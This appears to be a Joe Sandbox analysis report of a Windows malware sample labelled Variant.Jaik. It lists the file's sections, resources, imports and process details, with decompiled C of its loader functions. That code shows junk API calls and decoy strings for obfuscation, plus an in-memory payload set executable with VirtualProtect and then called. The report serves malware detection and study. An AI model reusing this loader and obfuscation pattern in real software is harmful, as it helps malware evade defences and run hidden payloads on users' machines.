.reloc	0x1c8000	0x4772	0x4800	False	0.3001844618055556	data	3.257312610228726	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x1a6360	0x1608e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x1bc3f0	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_ICON	0x1c0618	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 16777216, next used block 0
RT_ICON	0x1c2bc0	0xea8	data
RT_ICON	0x1c3a68	0x668	data
RT_ICON	0x1c40d0	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0
RT_ICON	0x1c5178	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 12707524, next used block 13232843
RT_ICON	0x1c5a20	0x2e8	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 2866470365, next used block 64682
RT_ICON	0x1c5d08	0x988	data
RT_ICON	0x1c6690	0x6c8	data
RT_ICON	0x1c6d58	0x1e8	data
RT_ICON	0x1c6f40	0x468	GLS_BINARY_LSB_FIRST
RT_ICON	0x1c73a8	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x1c7910	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x1c7a38	0xca	data
RT_VERSION	0x1c7b08	0x1bc	data

Imports

DLL

Import

KERNEL32.dll

ExitProcess, GetCommandLineW, SearchPathW, FindVolumeClose, CreateFiber, FreeResource, CreateFileTransactedW, LoadResource, InitializeSListHead, HeapFree, MoveFileWithProgressA, GetModuleHandleW, GetCommConfig, GenerateConsoleCtrlEvent, GetProcessHeap, ClearCommBreak, SetCommTimeouts, LoadLibraryW, SwitchToFiber, GetCalendarInfoW, SetConsoleCursorPosition, GetACP, SetThreadPriority, VerifyVersionInfoW, DeleteFiber, GetLastError, SetLastError, GetProcAddress, GetProcessHeaps, SetConsoleCtrlHandler, SetFileApisToANSI, FoldStringA, GetThreadPriority, DebugSetProcessKillOnExit, WaitCommEvent, EnumSystemGeoID, CloseHandle, MoveFileTransactedW, FindActCtxSectionStringW, ResetWriteWatch, CreateThread, InterlockedIncrement, InterlockedDecrement, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetFullPathNameA, GetStartupInfoW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameW, HeapValidate, IsBadReadPtr, RaiseException, RtlUnwind, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, GetDriveTypeA, GetOEMCP, GetCPInfo, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, HeapDestroy, HeapCreate, VirtualFree, GetModuleFileNameA, WriteFile, FlushFileBuffers, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, DebugBreak, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, InitializeCriticalSectionAndSpinCount, GetCurrentDirectoryA, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, LoadLibraryA, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, SetFilePointer, CreateFileA

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: SecuriteInfo.com.Variant.Jaik.84784.3654.exePID: 6288, Parent PID: 5684

General

Target ID:	0
Start time:	17:43:18
Start date:	12/07/2022
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe"
Imagebase:	0xb70000
File size:	1870760 bytes
MD5 hash:	74CD3C3D32DCF5029D1BC66347F44AF7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: SecuriteInfo.com.Variant.Jaik.84784.3654.exePID: 6288, Parent PID: 5684COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.1%
Total number of Nodes:	927
Total number of Limit Nodes:	24

Executed Functions

Function 00B78A10 Relevance: 68.5, APIs: 30, Strings: 9, Instructions: 269
threadlibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00B78A10(void* __ebx, void* __edi) {
				long _v8;
				void* _v10;
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				long _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				long _v216;
				intOrPtr _v220;
				struct HINSTANCE__* _v224;
				void* _v228;
				struct HINSTANCE__* _v232;
				void* _v236;
				void* _v268;
				void* _v272;
				int _t106;
				void* _t108;
				void* _t113;
				void* _t114;
				void* _t115;
				intOrPtr _t132;
				void* _t148;
				struct HINSTANCE__* _t149;
				intOrPtr _t151;
				void* _t164;
				void* _t165;
				intOrPtr _t166;
				intOrPtr _t172;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;

				_t173 = __edi;
				_t148 = __ebx;
				if( *0xd15000 == 0x144c) {
					E00B7CCE0(0, 0, 0);
					E00B7C170(0, 0, 0);
					_t175 = _t175 + 0x18;
					SetThreadPriority(0, 0);
					__imp__FindVolumeClose(0);
					GetCommConfig(0, 0,  &_v216);
				}
				LoadLibraryW(L"msimg32.dll"); // executed
				_v224 = 0;
				while(_v224 < 0x19c94690) {
					if(_v224 < 0x9ca528b) {
						if( *0xd15000 == 0x47e4) {
							GetThreadPriority(0);
							GetCommandLineW();
							SetLastError(0);
							GenerateConsoleCtrlEvent(1, 0xe);
							_t172 =  *0xd12fe0; // 0x34a5040
							__imp__MoveFileWithProgressA("Lama yobivok ciloh yefayox mew gepopa papojopi lice texoy nepixi", "Var kaquequa bitegef pel yelareke nicisifo pijose lafac jequo quesoho", 0, _t172, 1);
						}
						_v144 = 0x51c010d5;
						_v76 = 0x478f21d1;
						_v204 = 0x7acb1375;
						_v212 = 0x3ded1f95;
						_v216 = 0x7eb18c50;
						_v92 = 0x348374d3;
						_v132 = 0x578d21e9;
						_v156 = 0x333ffb52;
						_v116 = 0xef8c7a3;
						_v192 = 0x6be29cb6;
						_v140 = 0x367a1fba;
						_v164 = 0x48d2fe42;
						_v172 = 0x48cf01a2;
						_v136 = 0x1e5388b5;
						_v64 = 0x65eaf0f0;
						_v200 = 0x453a1893;
						_v168 = 0x387cf9be;
						_v160 = 0x6c8f9e5d;
						_v188 = 0x29c4285a;
						_v80 = 0x35f0d733;
						_v96 = 0x7c3fc7bc;
						_v52 = 0x286a4b91;
						_v24 = 0x47310060;
						_v60 = 0x314b5250;
						_v16 = 0x6ba1e96f;
						_v36 = 0x154859de;
						_v28 = 0x766e20ca;
						_v184 = 0x239b2312;
						_v208 = 0x174f56c3;
						_v148 = 0x2d8a129d;
						_v40 = 0x3253c6cb;
						_v180 = 0x23a7ada9;
						_v120 = 0x6f68acd0;
						_v128 = 0x4016238d;
						_v88 = 0x5e720474;
						_v72 = 0x465ed805;
						_v108 = 0x5d7c9434;
						_v220 = 0x34d32523;
						_v196 = 0x303233a3;
						_v44 = 0x4f1d1477;
						_v56 = 0x2e0b028;
						_v32 = 0x43713bfc;
						_v104 = 0x1092fa23;
						_v124 = 0x4d4b0f12;
						_v112 = 0x2cac1593;
						_v84 = 0x6a468114;
						_v152 = 0x3065dc97;
						_v176 = 0x42ebffd3;
						_v20 = 0x65d9df26;
						_v68 = 0x793e52ce;
						_v48 = 0x2b156627;
						_v100 = 0x5332da8a;
						GetProcessHeaps(0, 0);
						GetLastError();
					}
					if(_v224 <= 0x4fea) {
						_v224 =  &(_v224->i);
						continue;
					} else {
						 *0xd12fec = GetModuleHandleW(L"KERNEL32.DLL");
					}
					break;
				}
				_v8 = 0x5db76c;
				_t106 = GetLastError();
				if( *0xd15000 == 0x3212) {
					__imp__InitializeSListHead(0);
					__imp__DebugSetProcessKillOnExit(1);
					while(1) {
						__imp__EnumSystemGeoID(0, 0, 0);
						if(_t106 == 0) {
							goto L16;
						}
						_t106 = HeapFree(GetProcessHeap(), 0, 0);
					}
				}
				L16:
				_t108 = E00B788F0(_v8); // executed
				 *0xd12fe8 = _t108;
				_t149 =  *0xd12fec; // 0x76eb0000
				 *0xd12fdc = GetProcAddress(_t149, "VirtualProtect");
				_t164 =  *0xd12fe8; // 0x2eb4040
				E00B787B0(_t164, 0xb98230, 0x176ddb);
				_t177 = _t175 + 0x10;
				_t165 =  *0xd12fe8; // 0x2eb4040
				VirtualProtect(_t165, _v8, 0x40,  &_v196);
				_t113 =  *0xd12fe8; // 0x2eb4040
				 *0xd12fe4 = _t113;
				if( *0xd15000 == 0x34da) {
					_v228 = LoadResource(0, 0);
					if(_v228 != 0) {
						 *0xd15000 =  *0xd15000 + 0xc664f;
						GetACP();
						FreeResource(_v228);
					}
				}
				_v232 = 0;
				while(_v232 < 0x857ce9) {
					if(_v232 == 0x13a) {
						 *0xd15000 =  *0xd12fe4();
						_t132 = E00B788F0( *0xd15000); // executed
						_t177 = _t177 + 4;
						 *0xd12fe0 = _t132;
					}
					_v232 =  &(_v232->i);
				}
				_t166 =  *0xd15000;
				_t114 =  *0xd12fe8; // 0x2eb4040
				_t151 =  *0xd12fe0; // 0x34a5040
				_t115 = E00B787B0(_t151, _t114, _t166);
				_t178 = _t177 + 0xc;
				 *((intOrPtr*)(_t115 + _t166 - 0x7f)) =  *((intOrPtr*)(_t115 + _t166 - 0x7f)) + _t166;
			}

0x00b78a10
0x00b78a10
0x00b78a23
0x00b78a2b
0x00b78a39
0x00b78a3e
0x00b78a45
0x00b78a4d
0x00b78a5e
0x00b78a5e
0x00b78a69
0x00b78a6f
0x00b78a8a
0x00b78aa4
0x00b78ab4
0x00b78ab8
0x00b78abe
0x00b78ac6
0x00b78ad0
0x00b78ad8
0x00b78aeb
0x00b78aeb
0x00b78af1
0x00b78afb
0x00b78b02
0x00b78b0c
0x00b78b16
0x00b78b20
0x00b78b27
0x00b78b2e
0x00b78b38
0x00b78b3f
0x00b78b49
0x00b78b53
0x00b78b5d
0x00b78b67
0x00b78b71
0x00b78b78
0x00b78b82
0x00b78b8c
0x00b78b96
0x00b78ba0
0x00b78ba7
0x00b78bae
0x00b78bb5
0x00b78bbc
0x00b78bc3
0x00b78bca
0x00b78bd1
0x00b78bd8
0x00b78be2
0x00b78bec
0x00b78bf6
0x00b78bfd
0x00b78c07
0x00b78c0e
0x00b78c15
0x00b78c1c
0x00b78c23
0x00b78c2a
0x00b78c34
0x00b78c3e
0x00b78c45
0x00b78c4c
0x00b78c53
0x00b78c5a
0x00b78c61
0x00b78c68
0x00b78c6f
0x00b78c79
0x00b78c83
0x00b78c8a
0x00b78c91
0x00b78c98
0x00b78ca3
0x00b78ca9
0x00b78ca9
0x00b78cb9
0x00b78a84
0x00000000
0x00b78cbb
0x00b78cc6
0x00b78cc6
0x00000000
0x00b78cb9
0x00b78cd2
0x00b78cd9
0x00b78ce9
0x00b78ced
0x00b78cf5
0x00b78cfb
0x00b78d01
0x00b78d09
0x00000000
0x00000000
0x00b78d16
0x00b78d16
0x00b78cfb
0x00b78d1e
0x00b78d22
0x00b78d2a
0x00b78d34
0x00b78d41
0x00b78d50
0x00b78d57
0x00b78d5c
0x00b78d6c
0x00b78d73
0x00b78d79
0x00b78d7e
0x00b78d8d
0x00b78d99
0x00b78da6
0x00b78db4
0x00b78dba
0x00b78dc7
0x00b78dc7
0x00b78da6
0x00b78dcd
0x00b78de8
0x00b78dfe
0x00b78e06
0x00b78e12
0x00b78e17
0x00b78e1a
0x00b78e1a
0x00b78de2
0x00b78de2
0x00b78e21
0x00b78e28
0x00b78e2e
0x00b78e35
0x00b78e3a
0x00b78e46

APIs

__wcstoui64.LIBCMTD ref: 00B78A2B

Part of subcall function 00B7CCE0: wcstoxq.LIBCMTD ref: 00B7CD01

__wdupenv_s.LIBCMTD ref: 00B78A39

Part of subcall function 00B7C170: __fullpath_dbg.LIBCMTD ref: 00B7C187

SetThreadPriority.KERNEL32(00000000,00000000), ref: 00B78A45
FindVolumeClose.KERNEL32(00000000), ref: 00B78A4D
GetCommConfig.KERNEL32(00000000,00000000,?), ref: 00B78A5E
LoadLibraryW.KERNELBASE(msimg32.dll), ref: 00B78A69
GetThreadPriority.KERNEL32(00000000), ref: 00B78AB8
GetCommandLineW.KERNEL32 ref: 00B78ABE
SetLastError.KERNEL32(00000000), ref: 00B78AC6
GenerateConsoleCtrlEvent.KERNEL32(00000001,0000000E), ref: 00B78AD0
MoveFileWithProgressA.KERNEL32(Lama yobivok ciloh yefayox mew gepopa papojopi lice texoy nepixi,Var kaquequa bitegef pel yelareke nicisifo pijose lafac jequo quesoho,00000000,034A5040,00000001), ref: 00B78AEB
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 00B78CA3
GetLastError.KERNEL32 ref: 00B78CA9
GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00B78CC0
GetLastError.KERNEL32 ref: 00B78CD9
InitializeSListHead.KERNEL32(00000000), ref: 00B78CED
DebugSetProcessKillOnExit.KERNEL32 ref: 00B78CF5
EnumSystemGeoID.KERNEL32 ref: 00B78D01

Strings

PRK1, xrefs: 00B78BBC
director, xrefs: 00B7A2B3
Var kaquequa bitegef pel yelareke nicisifo pijose lafac jequo quesoho, xrefs: 00B78AE1
O, xrefs: 00B78CAF
`, xrefs: 00B78BB5
msimg32.dll, xrefs: 00B78A64
KERNEL32.DLL, xrefs: 00B78CBB
Lama yobivok ciloh yefayox mew gepopa papojopi lice texoy nepixi, xrefs: 00B78AE6
VirtualProtect, xrefs: 00B78D2F

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$PriorityProcessThread$CloseCommCommandConfigConsoleCtrlDebugEnumEventExitFileFindGenerateHandleHeadHeapsInitializeKillLibraryLineListLoadModuleMoveProgressSystemVolumeWith__fullpath_dbg__wcstoui64__wdupenv_swcstoxq
String ID: KERNEL32.DLL$Lama yobivok ciloh yefayox mew gepopa papojopi lice texoy nepixi$PRK1$Var kaquequa bitegef pel yelareke nicisifo pijose lafac jequo quesoho$VirtualProtect$`$director$msimg32.dll$O
API String ID: 4052567342-796003639
Opcode ID: d11eb1eadb59ce4ff0e55ef5ede231e9e522a6d3f3111d2d934fd39b27ea6225
Instruction ID: 92581a20b41c48f1a87f2f5ed9c945f94bab1ebbc2aa355778fbb29c05a29dd2
Opcode Fuzzy Hash: d11eb1eadb59ce4ff0e55ef5ede231e9e522a6d3f3111d2d934fd39b27ea6225
Instruction Fuzzy Hash: CED13AB4944348EFDB20DF94ED49B9DBBB0FB04701F50C599E21EAA290CBB11985CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00B788F0 Relevance: 38.6, APIs: 13, Strings: 9, Instructions: 79
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00B788F0(long _a4) {
				void* _v8;
				void* _v12;
				void* _t21;

				_v8 = 0;
				if( *0xd15000 == 0x5d07 ||  *0xd15000 == 0x2d57) {
					SearchPathW(L"Mifi vako leyoni famegof kohev kiwiheta gajibig", L"Sabet xedalihi gicise mopof ribilok",  &M00B77F04, 0x104, L"sipoq negarir", 0);
					__imp__FindActCtxSectionStringW(0, 0, 0, L"Fotew gadet vaxecafo boc roqueh", 0);
					_t26 = _v8;
					ResetWriteWatch(_v8, _a4);
					FoldStringA(1, "jan qued cahirek hite sonanon", 0x104, "sivawil copace coca pisej queh poxeki wicevaq", 0xe);
					SetCommTimeouts(0, 0);
				}
				GetLastError();
				_t21 = E00B7C050(_t26, _a4); // executed
				_v8 = _t21;
				if(_v8 == 0) {
					ExitProcess(0);
				} else {
					if( *0xd15000 == 0x37df) {
						__imp__MoveFileTransactedW(L"Vite fodi malavi quakosel mewaril quefes quogo cabeme heg quamowi", L"Sele cegen tarexan", 0, _v8, 1, 0);
						_v12 = CreateThread(0, _a4, 0, _v8, 1, 0xd15000);
						if(_v12 != 0xffffffff) {
							SwitchToFiber(_v8);
							DeleteFiber(_v8);
						}
						SetFileApisToANSI();
					}
					return _v8;
				}
			}

0x00b788f6
0x00b78907
0x00b78930
0x00b78943
0x00b7894d
0x00b78951
0x00b7896a
0x00b78974
0x00b78974
0x00b7897a
0x00b78984
0x00b7898c
0x00b78993
0x00b789fe
0x00b78995
0x00b7899f
0x00b789b5
0x00b789d4
0x00b789db
0x00b789e1
0x00b789eb
0x00b789eb
0x00b789f1
0x00b789f1
0x00000000
0x00b789f7

APIs

SearchPathW.KERNEL32(Mifi vako leyoni famegof kohev kiwiheta gajibig,Sabet xedalihi gicise mopof ribilok,kijosop,00000104,sipoq negarir,00000000), ref: 00B78930
FindActCtxSectionStringW.KERNEL32(00000000,00000000,00000000,Fotew gadet vaxecafo boc roqueh,00000000), ref: 00B78943
ResetWriteWatch.KERNEL32(00000000,?), ref: 00B78951
FoldStringA.KERNEL32(00000001,jan qued cahirek hite sonanon,00000104,sivawil copace coca pisej queh poxeki wicevaq,0000000E), ref: 00B7896A
SetCommTimeouts.KERNEL32(00000000,00000000), ref: 00B78974
GetLastError.KERNEL32 ref: 00B7897A
_malloc.LIBCMTD ref: 00B78984
MoveFileTransactedW.KERNEL32(Vite fodi malavi quakosel mewaril quefes quogo cabeme heg quamowi,Sele cegen tarexan,00000000,00000000,00000001,00000000), ref: 00B789B5
CreateThread.KERNEL32 ref: 00B789CE
SwitchToFiber.KERNEL32(00000000), ref: 00B789E1
DeleteFiber.KERNEL32(00000000), ref: 00B789EB
SetFileApisToANSI.KERNEL32 ref: 00B789F1
ExitProcess.KERNEL32 ref: 00B789FE

Strings

sipoq negarir, xrefs: 00B78917
jan qued cahirek hite sonanon, xrefs: 00B78963
Vite fodi malavi quakosel mewaril quefes quogo cabeme heg quamowi, xrefs: 00B789B0
Mifi vako leyoni famegof kohev kiwiheta gajibig, xrefs: 00B7892B
Sabet xedalihi gicise mopof ribilok, xrefs: 00B78926
Fotew gadet vaxecafo boc roqueh, xrefs: 00B78938
Sele cegen tarexan, xrefs: 00B789AB
sivawil copace coca pisej queh poxeki wicevaq, xrefs: 00B78959
kijosop, xrefs: 00B78921

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: FiberFileString$ApisCommCreateDeleteErrorExitFindFoldLastMovePathProcessResetSearchSectionSwitchThreadTimeoutsTransactedWatchWrite_malloc
String ID: Fotew gadet vaxecafo boc roqueh$Mifi vako leyoni famegof kohev kiwiheta gajibig$Sabet xedalihi gicise mopof ribilok$Sele cegen tarexan$Vite fodi malavi quakosel mewaril quefes quogo cabeme heg quamowi$jan qued cahirek hite sonanon$kijosop$sipoq negarir$sivawil copace coca pisej queh poxeki wicevaq
API String ID: 3896758673-1149523976
Opcode ID: 36a0cd2cd7880758d8dfc99cb6073133a26013a4f324e3b9ea63a9f30f019ac3
Instruction ID: 9bcff98f6c22ac7db810aa0269c0dcd9bf3bf9095dc1b96d3d5ba60917611020
Opcode Fuzzy Hash: 36a0cd2cd7880758d8dfc99cb6073133a26013a4f324e3b9ea63a9f30f019ac3
Instruction Fuzzy Hash: B4212C746C4344FBE710DBA8ED4EF9836A4FB04B16F108584F61DAA1E0CEB069C48B65

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DFE7 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00B7DFE7() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0xd12404 > 0) {
					_t112 =  *0xd12404; // 0x0
					_t188 =  *0xd123ec - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0xd123ec; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
						 *0xd123ec = _t170;
					} else {
						if(E00B7F2D0() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L00B7D760();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0xd123ec = 0;
					}
				}
				_t79 =  *0xd1132c; // 0x36
				 *(_t175 - 0x28) = _t79;
				if( *0xd11330 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0xd11330; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0xd11d74 == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0xd11324; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L00B89ED0(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E00B89E10(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0xd1132c; // 0x36
							_t123 = _t122 + 1;
							 *0xd1132c = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0xd123e4 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0xd123e4 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0xd123e4 = 0xffffffff;
								} else {
									_t159 =  *0xd123e4; // 0x75140c
									 *0xd123e4 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0xd123fc; // 0x1745f6
								 *0xd123fc = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0xd123fc; // 0x1745f6
								__eflags = _t126 -  *0xd123f0; // 0x74fd62
								if(__eflags > 0) {
									_t158 =  *0xd123fc; // 0x1745f6
									 *0xd123f0 = _t158;
								}
								__eflags =  *0xd123f4;
								if( *0xd123f4 == 0) {
									 *0xd123e8 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0xd123f4; // 0x34a5020
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0xd123f4; // 0x34a5020
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0xd123f4 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E00B81BB0(_t171,  *(_t175 - 0x24) + 0x1c,  *0xd11334 & 0x000000ff, 4);
							E00B81BB0(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0xd11334 & 0x000000ff, 4);
							E00B81BB0(_t171,  *(_t175 - 0x24) + 0x20,  *0xd11337 & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L00B89ED0(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E00B7E330();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0xd11d74(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L00B89ED0(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L00B89ED0(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x00b7dfe7
0x00b7dfea
0x00b7dff8
0x00b7dffa
0x00b7e002
0x00b7e008
0x00b7e040
0x00b7e046
0x00b7e046
0x00b7e049
0x00b7e00a
0x00b7e011
0x00b7e013
0x00b7e018
0x00b7e01a
0x00b7e01f
0x00b7e024
0x00b7e026
0x00b7e02b
0x00b7e031
0x00b7e033
0x00b7e033
0x00b7e031
0x00b7e034
0x00b7e034
0x00b7e008
0x00b7e04f
0x00b7e054
0x00b7e05e
0x00b7e063
0x00b7e069
0x00b7e06b
0x00b7e06b
0x00b7e069
